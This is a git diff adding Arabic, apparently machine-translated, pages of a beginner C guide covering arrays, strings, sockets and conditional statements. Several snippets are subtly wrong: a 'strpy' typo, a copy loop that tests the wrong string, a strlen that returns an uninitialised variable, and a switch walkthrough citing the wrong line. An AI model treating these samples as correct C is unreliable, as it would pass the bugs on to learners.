+رمز الماكينة هو الرمز الذي يمكن للآلة فهمه. تذكر أن أجهزة الكمبيوتر تستخدم الأرقام ، وليس الإنجليزية ، للتشغيل.
+
+## خط جديد
+
+السطر الجديد هو ما يتم طباعته عندما تضغط على Enter ، وهو مثال لحرف مسافة بيضاء. يمكنك أيضًا إضافة سطر جديد إلى إخراج البرنامج الخاص بك عن طريق تضمين "\\ n" في بيان الطباعة الخاص بك.
+
+## ملف كائن
+
+ملف يحتوي على رمز الكائن (رمز الجهاز). يحتوي الملف على إخراج بعض التجميع ، مما يعني أنه يحتوي على رمز رمز / رمز التجميع.
+
+## رابط
+
+برنامج مساعدة له القدرة على أخذ ملفات الكائن وإنشاء ملف تنفيذي أو ملف مكتبة أو ملف كائن آخر. اسم آخر للـ Linker هو "Loader".
+
+## مؤشر
+
+المؤشر هو متغير يحتوي على عنوان ذاكرة لمتغير آخر. تستخدم المصفوفات والبنى والوظائف بشكل صريح مؤشرات يمكن أن تساعد في إنتاج شفرة فعالة وسهلة القراءة.
+
+## بيضاء
+
+Whitespace هي الأحرف التي لا تراها عند الكتابة ولكنها موجودة على أي حال. على سبيل المثال ، لا يمكنك رؤية المساحات ، ولكن هناك الكثير هنا. الخطوط الجديدة هي أيضًا أحرف بيضاء ، مثل علامات التبويب.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/arrays-and-strings/index.md b/client/src/guide/arabic/c/arrays-and-strings/index.md
new file mode 100644
index 0000000000..1f98e07747
--- /dev/null
+++ b/client/src/guide/arabic/c/arrays-and-strings/index.md
@@ -0,0 +1,184 @@
+---
+title: Arrays and Strings
+localeTitle: المصفوفات والسلاسل
+---
+# المصفوفات في C
+
+تسمح صفائف لمجموعة من المتغيرات لتجميع معا كمتغير واحد. هذا مفيد في حد ذاته ، ولكن أيضًا لأن السلاسل تقع في هذه الفئة. الأوتار ، وهي الطريقة التي نمثل بها الكلمات والجمل في لغات الكمبيوتر ، هي مجرد مجموعة من المتغيرات الشخصية. لذلك ، فإننا نمثل السلاسل باستخدام المصفوفات في C.
+
+## جعل مجموعة
+
+سيتم الإعلان عن متغير صحيح عادي على النحو التالي:
+
+ `int my_variable; 
+` 
+
+لإعلان هذا كصفيف ، وجعله مصفوفة من 5 أعداد صحيحة ، يمكن الإعلان عنه على النحو التالي:
+
+ `int my_array[5]; 
+` 
+
+سيؤدي ذلك إلى إنشاء صفيف يسمى `my_array` يمكنه الاحتفاظ بـ 5 أعداد صحيحة. ومع ذلك ، لم يتم تعيين أي من المواضع في الصفيف (حتى الآن). يمكنك تحديد الصفيف ، وتعيين القيم في البداية:
+
+ `int my_array[] = {1, 5, 3, 6, 2}; 
+` 
+
+لاحظ أنه في هذا المثال ، لم نتعامل مع تحديد رقم في الأقواس المربعة. وذلك لأن الأقواس المتعرجة لها قيم فيها سيتم تعيينها لكل موضع في الصفيف. يمكنك وضع رقم في الأقواس على أي حال ، طالما أنك تأكد من إنشاء مواقع ذاكرة كافية لتخزين القيم التي مررت بها.
+
+عند تهيئة صفيف ، يمكنك تقديم قيم أقل من عناصر الصفيف. على سبيل المثال ، يقوم البيان التالي بتهيئة أول عنصرين فقط من my\_array:
+
+float my\_array \[5\] = {5.0، 2.5}؛
+
+إذا قمت بتهيئة مصفوفة بشكل جزئي ، يقوم المحول البرمجي بتعيين العناصر المتبقية إلى صفر.
+
+والآن بعد أن تم التصريح عن الصفيف بقيم 5 ، فإنه يحتوي على 5 مواقع للذاكرة. خذ بعين الاعتبار هذا الجدول للحصول على مثال مرئي لذلك:
+
+| الموقف 0 | 1 | 2 | 3 | 4 | | ---------- | --- | --- | --- | --- | --- | | القيمة | 1 | 5 | 3 | 6 | 2 |
+
+لاحظ أنه على الرغم من وجود 5 مواقع ذاكرة ، فإن مواضع الصفيف ترتفع فقط إلى 4. وهذا لأن المصفوفات في C (ومعظم اللغات الأخرى) تبدأ عند 0 ، لأنه يتم تنفيذ المصفوفات باستخدام المؤشرات. عندما تتصل بموضع في صفيف ، فأنت بالفعل تتصل بموقع الذاكرة هذا بالإضافة إلى رقم معين. للحصول على بداية الصفيف ، قم بنقل 0 مكان في الذاكرة ، للحصول على الموضع بعد ذلك ، قم بتحريك مكان واحد في الذاكرة ، وهكذا.
+
+في ما يلي مثال على تعيين المصفوفة إلى 9 في الموضع 1:
+
+ `my_array[1] = 9; 
+` 
+
+لذلك ، تمامًا مثل أي متغير آخر ، باستثناء أنه يحتوي على قيم متعددة للوصول باستخدام الرقم داخل الأقواس المربعة. يمكن إرجاع القيم بهذه الطريقة أيضًا:
+
+ `int variable = my_array[4]; 
+` 
+
+هذا سوف يعلن `variable` ليكون عدد صحيح يساوي القيمة في الموضع 4 من `my_array` . ومع ذلك ، نظرًا لأن `variable` هو `int` مفرد وليس صفيفًا ، فهذا **ليس** رمزًا سيحقق النتيجة الصحيحة:
+
+ `// This code will NOT work properly! 
+ int variable = my_array; 
+` 
+
+يمكن وضع أي عدد صحيح في الأقواس المربعة للحصول على موضع في الصفيف. يمكن أن تكون تلك الأعداد الصحيحة متغيرات أيضًا. ألق نظرة على هذا المثال ، الذي يطبع محتويات مصفوفة:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_array[] = {1, 1, 2, 3, 5, 7, 12}; 
+ 
+    for(int count = 0; count < 7; count++) { 
+        printf("%i, \n", my_array[count]); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+## سلاسل
+
+الصفائف هي مجموعات من المتغيرات ، والسلاسل عبارة عن مجموعات من الأحرف. ونتيجة لذلك ، يمكننا تمثيل السلاسل باستخدام مصفوفة. _يمكنك_ يعلن شيء في نفس الطريقة كما في السابق، ولكن ستحتاج إلى وضع '\\ 0' واحدة من القيم الخاصة بك (أكثر على ذلك في دقيقة واحدة!):
+
+ `char hello_world[] = {'H', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd', '!', '\0'}; 
+` 
+
+ييكيس. هذا ليس حقا حلا رائعا. لحسن الحظ ، يوفر C طريقة أفضل مع وضع السلاسل في الاعتبار:
+
+ `char hello_world[] = "Hello world!"; 
+` 
+
+هذا أجمل بكثير. لا يتطلب منك حتى وضع "\\ 0" في النهاية ، إما. إذن ماذا كان هذا؟
+
+### إنهاء الفصل
+
+يتم إنهاء السلاسل في C فارغة ، مما يعني أنها تنتهي بالحرف الصفري. بهذه الطريقة ، سيعرف المحول البرمجي (ورمزك الخاص بك وكل شخص آخر) حيث تنتهي السلسلة: بمجرد أن يكون الحرف فارغًا ، تنتهي السلسلة.
+
+بالطبع ، لا يوجد زر "فارغة" على لوحة المفاتيح ، ولكنك لا تزال بحاجة إلى كتابتها بطريقة ما. هذا ما يفعله \\ 0. عندما يرى المترجم C \\ 0 ، سيقوم بإدراج حرف فارغ. إنها تشبه طريقة \\ n طباعة سطر جديد.
+
+### سلاسل الطباعة
+
+شيء آخر يجعل C أسهل بالنسبة لنا هو طباعة الأوتار. بدلاً من إجبارك على طباعة كل حرف في الصفيف ، يمكنك فقط استخدام محدد تنسيق٪ s ، وتعامل السلسلة كما تفعل مع أي قيمة `int` أو `double` . في ما يلي مثال على الترحيب ، البرنامج العالمي منذ البداية ، والذي أصبح أكثر تعقيدًا مع السلاسل:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    char hello_world[] = "Hello, World!\n"; 
+    printf("%s", hello_world); 
+ 
+    return 0; 
+ } 
+` 
+
+### اللعب مع سلاسل
+
+سلاسل الطباعة سهلة ، لكن العمليات الأخرى أكثر تعقيدًا بعض الشيء. ولحسن الحظ ، `string.h` مكتبة `string.h` على بعض الوظائف المفيدة لاستخدامها في عدد من المواقف.
+
+#### النسخ: `strcpy`
+
+`strcpy` (من 'نسخة السلسلة') نسخ سلسلة. على سبيل المثال ، سينسخ مقتطف الشفرة محتويات السلسلة `second` في السلسلة `first` :
+
+ `strpy(first, second); 
+` 
+
+في ما يلي مثال على الكيفية التي يبدو بها التنفيذ اليدوي لوظيفة strcpy:
+
+void copy _string (char \[\] first_ string، char \[\] second\_string) { int i؛
+
+ `for(i = 0; first_string[i] != '\0'; i++) 
+ { 
+    first_string[i] = second_string[i]; 
+ } 
+` 
+
+}
+
+#### سلسة: `strcat`
+
+`strcat` (من "سلسلة سلسلة") سَلسَلة سلسلة ، بمعنى أنها ستأخذ محتويات سلسلة واحدة وتضعها في نهاية سلسلة أخرى. في هذا المثال ، سيتم تجميع محتويات `second` `first` :
+
+ `strcat(first, second); 
+` 
+
+في ما يلي مثال على التنفيذ اليدوي لـ strat fuction:
+
+void string\_concatenate (char \[\] s1، char \[\] s2) { int i = strlen (s1)، j؛ لـ (int j = 0؛ s2 \[j\]؛ j ++، i + = 1) { s1 \[i\] = s2 \[j\]؛ } }
+
+#### الحصول على الطول: `strlen`
+
+`strlen` (من "طول السلسلة") قيمة عدد صحيح تتطابق مع طول السلسلة. في هذا المثال ، سيتم تعيين عدد صحيح باسم `string_length` على طول `my_string` :
+
+ `string_length = strlen(my_string); 
+` 
+
+هنا هو تنفيذ يدوي من strlen fuction:
+
+int string\_length (char \[\] سلسلة) { int i؛
+
+ `for(int i = 0; string[i]; i++); 
+ 
+ return i; 
+` 
+
+}
+
+#### قارن: `strcmp`
+
+يقارن `strcmp` (من 'مقارنة السلسلة') سلسلتين. القيمة الصحيحة التي تقوم بإرجاعها هي 0 إذا كانت هي نفسها ، ولكنها ستعود أيضًا سالبة إذا كانت قيمة الأول (بإضافة الأحرف) أقل من قيمة الثانية ، وإيجابية إذا كان الأول أكبر من الثاني . ألق نظرة على مثال لكيفية استخدام هذا:
+
+ `if(!strcmp(first, second)){ 
+    printf("These strings are the same!\n"); 
+ } else { 
+    printf("These strings are not the same!\n"); 
+ } 
+` 
+
+لاحظ `!` ، وهي مطلوبة لأن هذه الدالة تقوم بإرجاع 0 إذا كانت هي نفسها. إن وضع نقطة التعجب هنا سيجعل المقارنة صحيحة.
+
+#### تقسيم سلسلة: `strtok`
+
+`strtok` (من "رمز السلسلة") يقطع سلسلة في سلسلة من الرموز المميزة باستخدام محدد. في هذا المثال ، يقطع strtok str str في سلسلة من الرموز المميزة باستخدام delimiter delim:
+
+ `char *strtok(char *str, const char *delim); 
+` 
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   الصفائف هي مجموعات من المتغيرات.
+*   تحتوي الصفائف على مواضع منفصلة يمكن الإعلان عنها باستخدام أقواس ، ويتم الوصول إليها باستخدام أقواس مربعة.
+*   السلاسل عبارة عن صفائف أيضًا ، ولكن يمكننا التعامل معها بطريقة مختلفة قليلاً: يمكن الإعلان عنها باستخدام علامات اقتباس مزدوجة ، وطباعتها باستخدام٪ s.
+*   سلاسل لديها مكتبة خاصة بهم ، `string.h` ، والتي لديها بعض الوظائف المفيدة للاستخدام.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/arrays/index.md b/client/src/guide/arabic/c/arrays/index.md
new file mode 100644
index 0000000000..0eadcffbe6
--- /dev/null
+++ b/client/src/guide/arabic/c/arrays/index.md
@@ -0,0 +1,179 @@
+---
+title: Arrays
+localeTitle: المصفوفات
+---
+# المصفوفات في C
+
+## مشاكل
+
+قبل محاولة شرح المصفوفات ، دعنا نلقي نظرة على الكود الذي نريد طباعة 10 أرقام من قبل المستخدم بترتيب عكسي.
+
+ `#include <stdio.h> 
+ int main(void) { 
+    int a, b, c, d, e, f, g, i, j, k; 
+    scanf("%d", &a); 
+    scanf("%d", &b); 
+    ... 
+    printf("%d", k); 
+    printf("%d", j); 
+    printf("%d", i); 
+    ... //and so on.. 
+ 
+    return 0; 
+ } 
+` 
+
+لذلك ، يبدو هذا مملاً بعض الشيء. حتى الآن ، كان لكل متغير تم إنشاؤه دور خاص. ولكن في الوقت الحالي ، سيكون من الرائع أن نتمكن فقط من تخزين قيم متعددة في مكان واحد والحصول على القيم مع مكانها في الخط ربما (القيمة الأولى والثانية وما إلى ذلك). هناك طريقة أخرى للنظر إلى هذا ، لنفترض أنك تريد تخزين مجموعة من الأسماء ، لا تحتاج إلى إنشاء متغيرات مختلفة لكل اسم ، بدلاً من ذلك يمكنك إنشاء مجموعة من الأسماء حيث يكون لكل اسم هويته الفريدة أو _فهرسها_ . أيضا ، يمكن أن نستخدم الحلقات عليها ، وهي الأشياء التي ستتعلمها فيما بعد ، ولكن في الأساس يفعلون الشيء نفسه مرارا وتكرارا. على سبيل المثال. القراءة من المستخدم ، أو طباعة القيم.
+
+## المصفوفات في C
+
+المصفوفات هي حاويات ذات حجم معين. تحتوي على متغيرات من **نفس النوع** . يمكنك الوصول إلى متغير تم تخزينه في الصفيف مع _فهرسه_ . دعونا ننظر في بعض التعليمات البرمجية:
+
+ `#include <stdio.h> 
+ int main(void) { 
+    int arr[4] = {1, 2, 3, 88}; 
+    int brr[] = {78, 65}; 
+    int crr[100] = {3}; 
+ 
+    int var = arr[0]; 
+ 
+    return 0; 
+ } 
+` 
+
+والآن دعنا نكسر بناء الجملة قليلاً:
+
+ `int arr[4] = {1, 2, 3, 88}; 
+` 
+
+هنا قمت بإنشاء `array` من `ints` (أعداد صحيحة) ، تسمى `arr` . تحتوي هذه المجموعة على 4 عناصر: `1` ، `2` ، `3` ، `88` . لاحظ بناء الجملة!
+
+ `datatype name[number of elements] 
+` 
+
+العنصر الأول من هذه المجموعة هو `1` ، والثاني هو `2` وما إلى ذلك.
+
+ `int brr[] = {78, 65}; 
+` 
+
+ليس عليك أن تخبر البعد مسبقًا. هنا سيتم إنشاء مجموعة من اثنين مع العناصر بين الأقواس المتعرجة.
+
+ `int crr[100] = {3}; 
+` 
+
+إذا قمت بذلك ، فسيكون العنصر الأول هو `3` ، ولكن سيكون الباقي هو `0` .
+
+ `int var = arr[0]; 
+` 
+
+هنا يتم إنشاء كثافة العمليات int تُسمى `var` ، ويتم تهيئتها إلى العنصر 0 من arr. **من المستورد جدا أن نلاحظ** أنه في C ، تبدأ الفهارس عند الصفر مقابل 1. وهذا يعني أنه للوصول إلى العنصر الأول ، يكون المؤشر (بين قوسين) 0 ، للوصول إلى العنصر الثاني ، المؤشر هو 1 الخ. في هذا المثال ، سيقوم `var` بتخزين القيمة `1` .
+
+## نظرة عامة
+
+*   يشبه المصفوفة أحادية البعد القائمة ؛ المصفوفة ثنائية الأبعاد تشبه الطاولة. لا تضع لغة C حدودًا على عدد الأبعاد في مصفوفة ، على الرغم من إمكانية تنفيذ عمليات محددة.
+    
+*   تشير بعض النصوص إلى صفائف أحادية البعد باعتبارها ناقلة ، صفائف ثنائية الأبعاد كمصفوفات ، وتستخدم مصفوفات المصطلح العام عندما يكون عدد الأبعاد غير محدد أو غير مهم.
+    
+
+## صفائف متعددة الأبعاد في C
+
+كما يدعم C صفائف متعددة الأبعاد.
+
+ `datatype name[size1][size2]...[sizeN] 
+` 
+
+صفائف ثنائية الأبعاد شائعة ويمكن تهيئتها باستخدام الصيغة التالية. يمكن للمرء أن يفكر منطقيًا في أول فهرس كصفوف والفهرس الثاني كأعمدة. يحتوي هذا المثال على صفين و 5 أعمدة.
+
+ `int arr[2][5] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+` 
+
+قد يكون من الصعب تصور صفيف ثنائي الأبعاد باستخدام البنية الموضحة أعلاه حتى يستخدم المطورون أقواسًا اختيارية متداخلة لتوضيح بنية الصفيف. هذه أيضًا طريقة صالحة لتهيئة مصفوفة ثنائية الأبعاد.
+
+ `int arr[2][5] = { 
+    {0, 1, 2, 3, 4}, 
+    {5, 6, 7, 8, 9} 
+ }; 
+` 
+
+يمكن استخدام اثنين متداخلين من أجل حلقات لطباعة محتويات صفيف ثنائي الأبعاد في تنسيق جدولي.
+
+ `#include <stdio.h> 
+ 
+ 
+ int main() { 
+    const int rows = 2, cols = 5; 
+ 
+    int arr[rows][cols] = { 
+            {0, 1, 2, 3, 4}, 
+            {5, 6, 7, 8, 9} 
+    }; 
+ 
+    for (int row = 0; row < rows; row++) { 
+        for (int col = 0; col < cols; col++) { 
+            printf("%5d", arr[row][col]); 
+        } 
+        puts(""); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+ `    0    1    2    3    4 
+    5    6    7    8    9 
+` 
+
+## سلاسل
+
+لتخزين سلاسل / أحرف متعددة ، نستخدم `char arrays` في C ، لأن اللغة ليس بها نوع خاص تم إنشاؤه. هناك شيء واحد يجب أن يكون على دراية به ، هو أن نهاية null يتم إضافتها تلقائيًا إلى النهاية ، مما يشير إلى أنها نهاية السلسلة. ومع ذلك ، قد تقوم أيضًا بتهيئة سلسلة تحتوي على أقواس معقوفة `{}` أيضًا ، ولكن يجب عليك إضافة النهاية الخالية يدويًا.
+
+مثل ذلك:
+
+ `char string[6] = "Hello"; //here you get Hello\0, which is why we need an array with the length of 6 
+` 
+
+كما هو الحال مع المصفوفات int في المثال أعلاه ، هناك عدة طرق لتعيين قيم لصفائف char:
+
+ `char string[] = "I do not want to count the chars in this."; 
+ char string2[] = {'C','h','a','r',' ','b','y',' ','c','h','a','r','\0'}; 
+ char string3[] = "This is a string" 
+                 "with two lines"; 
+` 
+
+مكافئ للنهج أعلاه ، يمكنك أيضًا إنشاء مؤشر إلى مجموعة char:
+
+ `char* string = "I do not want to count the chars in this."; 
+` 
+
+## أخطاء نموذجية ، نصائح
+
+*   عندما يكون لديك مصفوفة مليئة بالقيم وترغب في إنشاء صفيف آخر مماثل تمامًا لأول مرة ، لا تفعل ذلك مطلقًا:
+
+ `double first[] = {2,3,7}; 
+ double second[] = first; 
+ //Or this: 
+ double a[5], b[5] 
+ a = b; 
+` 
+
+يمكنك **فقط** التعامل مع القيم في صفيف واحد تلو الآخر. لا **يمكنك تعيين الكل مرة واحدة** ، عندما تتعرف على المؤشرات لاحقًا ، ستكون الأسباب واضحة.
+
+> (بشكل أساسي ، يشير العنصر الأول من صفيف إلى عنوان ذاكرة ، والعناصر بعد ذلك هي "المنازل" بجوار ذلك الأول. لذلك ، من الناحية الفنية ، فإن المصفوفة هي عنوان ذاكرة العنصر الأول فقط. عندما تريد تعيين الثانية صفيف الصفيف الأول ، كنت في خطأ بسبب أنواع مختلفة ، أو كنت تحاول تغيير عنوان الذاكرة الثاني من العنصر الأول في الصفيف الثاني.)
+
+*   عندما تريد إنشاء مصفوفة ، يجب عليك إما معرفة حجمها ، أو تعيين قيم لها. لا تفعل هذا:
+
+ `int arr[]; 
+` 
+
+يجب أن يعرف الكمبيوتر حجم التخزين الذي يجب إنشاؤه للصفيف. في وقت لاحق ، سوف تتعلم طرق إنشاء حاويات يتم تحديد حجمها فيما بعد. (مرة أخرى ، المؤشرات.)
+
+*   عندما تقوم بفهرسة المصفوفة ، لن يقوم المترجم دائمًا بإعطائك خطأ. هذا ما يسمى السلوك غير معرف ، نحن لا نعرف ما الذي سيحدث. يمكن أن يؤدي إلى تعطل برنامجك ، ببساطة تباطؤ ، أي شيء.
+
+ `int test[6]; 
+ int a = test[-2]; 
+ int b = test[89]; 
+` 
+
+السبب في أن C لا يتحقق من تقييد الفهرسة بسيط: C هي لغة فعالة. تم إعداده ، بحيث يكون البرنامج الأسرع: يتواصل بشكل جيد مع الأجهزة الخ. لا يحتوي كود C المكتوب بشكل جيد على أخطاء في الفهرسة ، فلماذا تريد C أن تتحقق أثناء التشغيل؟
+
+*   عند محاولة الوصول إلى العنصر الأخير من الصفيف. لنفترض أن طول الصفيف A يكون 4 وعند الوصول إلى العنصر الأخير كـ سيعرض A \[4\] خطأ ، نظرًا لأن الفهرسة تبدأ من 0.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/basic-networking/index.md b/client/src/guide/arabic/c/basic-networking/index.md
new file mode 100644
index 0000000000..9d35594356
--- /dev/null
+++ b/client/src/guide/arabic/c/basic-networking/index.md
@@ -0,0 +1,19 @@
+---
+title: Basic Networking
+localeTitle: الشبكات الأساسية
+---
+## الشبكات الأساسية
+
+الشبكات الأساسية في C ينطوي أساسا فتح مآخذ والتواصل من خلالهم. هذا يطرح السؤال ، ما هو المقبس؟
+
+## ما هو المقبس
+
+مأخذ التوصيل هو نقطة نهاية واحدة لارتباط اتصال ثنائي الاتجاه بين برنامجين يعملان على شبكة. نقطة النهاية هي مزيج من عنوان IP ورقم المنفذ. يتم ربط مأخذ التوصيل برقم منفذ بحيث يمكن لطبقة TCP التعرف على التطبيق الذي يتم إرسال البيانات إليه.
+
+عند تشغيل أحد البرامج على شبكة ، فإنه يكون متاحًا للوصول من مواقع مختلفة بخلاف الموقع المحلي. من خلال مواقع مختلفة أعني يمكن لجميع أجهزة الكمبيوتر على نفس الشبكة الوصول إليه. لكن كيف سيكونون؟ ومن ثم يقوم كل برنامج بتسجيل نفسه برقم منفذ. فكر في رقم المنفذ كرقم الشقة في شقة ضخمة. إذا تم إرسال رسالة إلى شقة ، فإن رقم الشقة يخبر مكتب البريد بالشقة المحددة التي يجب أن يذهب إليها.
+
+ولكن ، كيف ستصل إلى الشقة؟ تحتوي كل شقة على عنوان فريد خاص بها ، وينظر مكتب البريد في العنوان الفريد (الذي هو خيط سلسلة) ويقرر وجهة الرسالة. في هذه الحالة ، سيكون لكل كمبيوتر متصل بشبكة عنوان IP يشبه العنوان المستخدم عند إرسال خطاب من خلال مكتب البريد. وبالمثل ، يحتاج الكمبيوتر المتصل بالشبكة إلى معرفة عناوين IP الخاصة بأجهزة الكمبيوتر الأخرى على نفس الشبكة للتواصل معها. للتواصل مع برنامج محدد على كمبيوتر معين ، يلزم رقم المنفذ لهذا البرنامج. (فكر في رقم الشقة من قياس شقتنا.)
+
+## أساسيات برمجة المقابس
+
+تعتبر برمجة مأخذ التوصيل وسيلة لتوصيل عقدتين على الشبكة للتواصل مع بعضهما البعض. تستمع واحدة مأخذ توصيل (عقدة) على منفذ معين في IP ، في حين أن مأخذ التوصيل الآخر يصل إلى الآخر لتشكيل اتصال. يقوم الخادم بتكوين مأخذ المستمع أثناء وصول العميل إلى الخادم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/conditional-statements/index.md b/client/src/guide/arabic/c/conditional-statements/index.md
new file mode 100644
index 0000000000..3a5b57a7ff
--- /dev/null
+++ b/client/src/guide/arabic/c/conditional-statements/index.md
@@ -0,0 +1,249 @@
+---
+title: Conditional Statements
+localeTitle: عبارات شرطية
+---
# البيانات الشرطية في C
+
+تُعرف أيضًا العبارات الشرطية باسم العبارات المتفرعة. هم ما يسمى ذلك لأن البرنامج يختار اتباع فرع واحد أو آخر.
+
+## 1\. إذا كان البيان
+
+هذا هو الشكل الأكثر بساطة من البيانات الشرطية. يتكون من تعبيرات منطقية متبوعة ببيان واحد أو أكثر. إذا تم تقييم التعبير المنطقي إلى **true** ، فسيتم تنفيذ كتلة الكود داخل العبارة "if". إذا تم تقييم التعبير المنطقي إلى **false** ، فسيتم تنفيذ أول مجموعة من التعليمات البرمجية بعد نهاية العبارة "if" (بعد قوس التجميع الختامي).
+
+**_تفترض_** لغة البرمجة C **_أي قيم غير صفرية وغير خالية كصيغة_** وإذا كانت **_إما صفرية أو خالية ، فيتم افتراضها كقيمة خاطئة_** .
+
+#### بناء الجملة
+
+ `if(boolean_expression) 
+ { 
+    //Block of Statements executed when boolean_expression is true 
+ } 
+` 
+
+#### مثال
+
+ `int a = 100; 
+ if(a < 200) 
+ { 
+    printf("a is less than 200\n" ); 
+ } 
+` 
+
+#### نتيجة
+
+`a is less than 200`
+
+## 2\. إذا ... بيان آخر
+
+إذا تم تقييم التعبير المنطقي إلى **true** ، فسيتم تنفيذ كتلة if ، وإلا سيتم تنفيذ حظر آخر.
+
+#### بناء الجملة
+
+ `if(boolean_expression) 
+ { 
+    //Block of Statements executed when boolean_expression is true 
+ } 
+ else 
+ { 
+    //Block of Statements executed when boolean_expression is false 
+ } 
+` 
+
+#### مثال
+
+ `int a = 300; 
+ if(a < 200) 
+ { 
+    printf("a is less than 200\n" ); 
+ } 
+ else 
+ { 
+    printf("a is more than 200\n"); 
+ } 
+` 
+
+#### نتيجة
+
+`a is more than 200`
+
+## 3\. إذا ... آخر إذا ... بيان آخر
+
+عند استخدام ... إذا كانت هناك بيانات أخرى ، فإن هناك بعض النقاط التي يجب وضعها في الاعتبار -
+
+*   **إذا كان** يمكن أن يكون **صفر أو آخر** ، **ويجب أن يأتي بعد أي شيء آخر** .
+*   **إذا كان** يمكن أن يكون **صفر إلى كثير آخر إذا كان** **يجب أن يأتي قبل الآخرين** .
+*   مرة واحدة في **حالة** نجاح أي شيء آخر ، سيتم اختبار أي من بقية الآخرين إذا كان وإلا.
+
+#### بناء الجملة
+
+ `if(boolean_expression_1) 
+ { 
+    //Block of Statements executed when boolean_expression_1 is true 
+ } 
+ else if(boolean_expression_2) 
+ { 
+    //Block of Statements executed when boolean_expression_1 is false and boolean_expression_2 is true 
+ } 
+ else if(boolean_expression_3) 
+ { 
+    //Block of Statements executed when both boolean_expression_1 and boolean_expression_2 are false and boolean_expression_3 is true 
+ } 
+ else 
+ { 
+    //Block of Statements executed when all boolean_expression_1, boolean_expression_2 and boolean_expression_3 are false 
+ } 
+` 
+
+#### مثال
+
+ `int a = 300; 
+ if(a == 100) 
+ { 
+    printf("a is equal to 100\n" ); 
+ } 
+ else if(a == 200) 
+ { 
+    printf("a is equal to 200\n"); 
+ } 
+ else if(a == 300) 
+ { 
+    printf("a is equal to 300\n"); 
+ } 
+ else 
+ { 
+    printf("a is more than 300\n"); 
+ } 
+` 
+
+#### نتيجة
+
+`a is equal to 300`
+
+## 4\. متداخلة إذا كان البيان
+
+دائمًا ما يكون قانونيًا في برمجة C لتضمين عبارات if-else ، مما يعني أنه يمكنك استخدام عبارة if أو إذا كانت عبارة داخل عبارة أخرى ، أو إذا كان عبارة (عبارات).
+
+#### بناء الجملة
+
+ `if(boolean_expression_1) 
+ { 
+    //Executed when boolean_expression_1 is true 
+    if(boolean_expression_2) 
+    { 
+      //Executed when both boolean_expression_1 and boolean_expression_2 are true 
+    } 
+ } 
+` 
+
+#### مثال
+
+ `int a = 100; 
+ int b = 200; 
+ if(a == 100) 
+ { 
+    printf("a is equal to 100\n" ); 
+    if(b == 200) 
+    { 
+        printf("b is equal to 200\n"); 
+    } 
+ } 
+` 
+
+#### نتيجة
+
+ `a is equal to 100 
+ b is equal to 200 
+` 
+
+## 5\. تبديل بيان الحالة
+
+غالبًا ما يكون بيان التبديل أسرع من المتداخلة إذا كان… else (ليس دائمًا). أيضا ، بناء جملة العبارة التبديل هو أنظف وسهلة الفهم.
+
+### بناء جملة حالة التبديل
+
+ `switch (n) 
+ { 
+    case constant1: 
+        // code to be executed if n is equal to constant1; 
+        break; 
+ 
+    case constant2: 
+        // code to be executed if n is equal to constant2; 
+        break; 
+        . 
+        . 
+        . 
+    default: 
+        // code to be executed if n doesn't match any constant 
+ } 
+` 
+
+عندما يتم العثور على ثابت لحالة يتوافق مع تعبير التبديل ، يمرر التحكم في البرنامج إلى كتلة التعليمة البرمجية المرتبطة بهذه الحالة.
+
+في pseudocode أعلاه ، افترض أن قيمة n تساوي constant2. سيقوم المحول البرمجي بتنفيذ كتلة التعليمات البرمجية المرتبطة مع بيان الحالة حتى نهاية كتلة التبديل ، أو حتى يتم مصادفة بيان الفاصل.
+
+يُستخدم بيان الإيقاف لمنع تشغيل التعليمة البرمجية في الحالة التالية.
+
+### مثال:
+
+ `// Program to create a simple calculator 
+ // Performs addition, subtraction, multiplication or division depending the input from user 
+ 
+ # include <stdio.h> 
+ 
+ int main() 
+ { 
+ 
+    char operator; 
+    double firstNumber,secondNumber; 
+ 
+    printf("Enter an operator (+, -, *, /): "); 
+    scanf("%c", &operator); 
+ 
+    printf("Enter two operands: "); 
+    scanf("%lf %lf",&firstNumber, &secondNumber); 
+ 
+    switch(operator) 
+    { 
+        case '+': 
+            printf("%.1lf + %.1lf = %.1lf",firstNumber, secondNumber, firstNumber+secondNumber); 
+            break; 
+ 
+        case '-': 
+            printf("%.1lf - %.1lf = %.1lf",firstNumber, secondNumber, firstNumber-secondNumber); 
+            break; 
+ 
+        case '*': 
+            printf("%.1lf * %.1lf = %.1lf",firstNumber, secondNumber, firstNumber*secondNumber); 
+            break; 
+ 
+        case '/': 
+            printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/secondNumber); 
+            break; 
+ 
+        // operator is doesn't match any case constant (+, -, *, /) 
+        default: 
+            printf("Error! operator is not correct"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+### انتاج |
+
+ `Enter an operator (+, -, *,): - 
+ Enter two operands: 32.5 
+ 12.4 
+ 32.5 - 12.4 = 20.1 
+` 
+
+يتم تخزين عامل التشغيل '-' الذي تم إدخاله من قبل المستخدم في متغير المشغل. ويتم تخزين اثنين من المعاملات 32.5 و 12.4 في المتغيرات firstNumber و secondNumber على التوالي.
+
+ثم ، السيطرة على البرنامج يقفز إلى
+
+ `printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/firstNumber); 
+` 
+
+وأخيرًا ، ينهي بيان الاستراحة عبارة التبديل.
+
+إذا لم يتم استخدام كشف الفاصل ، يتم تنفيذ جميع الحالات بعد الحالة الصحيحة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/data-types/index.md b/client/src/guide/arabic/c/data-types/index.md
new file mode 100644
index 0000000000..391014c8cc
--- /dev/null
+++ b/client/src/guide/arabic/c/data-types/index.md
@@ -0,0 +1,135 @@
+---
+title: Data Types in C
+localeTitle: أنواع البيانات في C
+---
+# أنواع البيانات في C
+
